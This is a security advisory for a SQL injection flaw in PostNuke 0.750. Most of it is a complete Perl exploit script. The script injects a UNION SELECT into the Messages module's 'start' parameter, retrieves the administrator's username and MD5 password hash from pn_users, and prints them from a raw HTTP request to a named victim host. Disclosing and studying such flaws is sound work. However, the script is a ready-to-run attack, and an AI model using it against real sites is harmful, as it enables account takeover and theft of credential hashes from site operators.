[EXPL] PostNuke SQL Injection (start, Exploit)

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PostNuke SQL Injection (start, Exploit)
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SUMMARY

" <http://www.postnuke.com/> PostNuke is one of the most powerful open
source content management systems in the world ..."

PostNuke is vulnerable to an SQL injection vulnerability, the following
exploit is able to retrieve administrator user/password with the help of
this SQL injection vulnerability.

DETAILS

Vulnerable Systems:
* PostNuke version 0.750

Exploit:
#!/usr/bin/perl
# This tools is only for educational purpose
#
# K-C0d3r a x0n3-h4ck friend !!!
#
# This exploit should give admin nick and md5 password
#
#-=[ PostNuke SQL Injection version : x=> 0.750]=-
#-=[ ]=-
#-=[ Discovered by sp3x ]=-
#-=[ Coded by K-C0d3r ]=-
#-=[ irc.xoned.net #x0n3-h4ck to find me K-c0d3r[at]x0n3-h4ck.org]=-
#
# Greetz to mZ, 2b TUBE, off, rikky, milw0rm, str0ke
#
# !!! NOW IS PUBLIC (6-6-2005) !!!

use IO::Socket;

sub Usage {
print STDERR "Usage: KCpnuke-xpl.pl <www.victim.com>
</path/to/modules.php>\n";
exit;
}

if (@ARGV < 2)
{
Usage();
}

if (@ARGV > 2)
{
Usage();
}

if (@ARGV == 2)
{
$host = @ARGV[0];
$path = @ARGV[1];

print "[K-C0d3r] PostNuke SQL Injection [x0n3-h4ck]\n";
print "[+] Connecting to $host\n";

$injection = "$host\/$path?";
$injection .= "op=modload&name=Messages&file=readpmsg&start=0";
$injection .= "%20UNION%20SELECT%20pn_uname,null,".;
$injection .= "pn_uname,pn_pass,pn_pass,null,pn_pass,null";
$injection .= "%20FROM%20pn_users%20WHERE%20pn_uid=";
$injection .= "2\/*&total_messages=1";

$socket = new IO::Socket::INET (PeerAddr => "$host",
PeerPort => 80,
Proto => 'tcp');
die unless $socket;

print "[+] Injecting command ...\n";
print $socket "GET http://$injection HTTP/1.1\nHost: $host\n\n";
while (<$socket>)
{
print $_;
exit;
}
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:K-c0d3r[at]x0n3-h4ck.org>
K-C0d3r.

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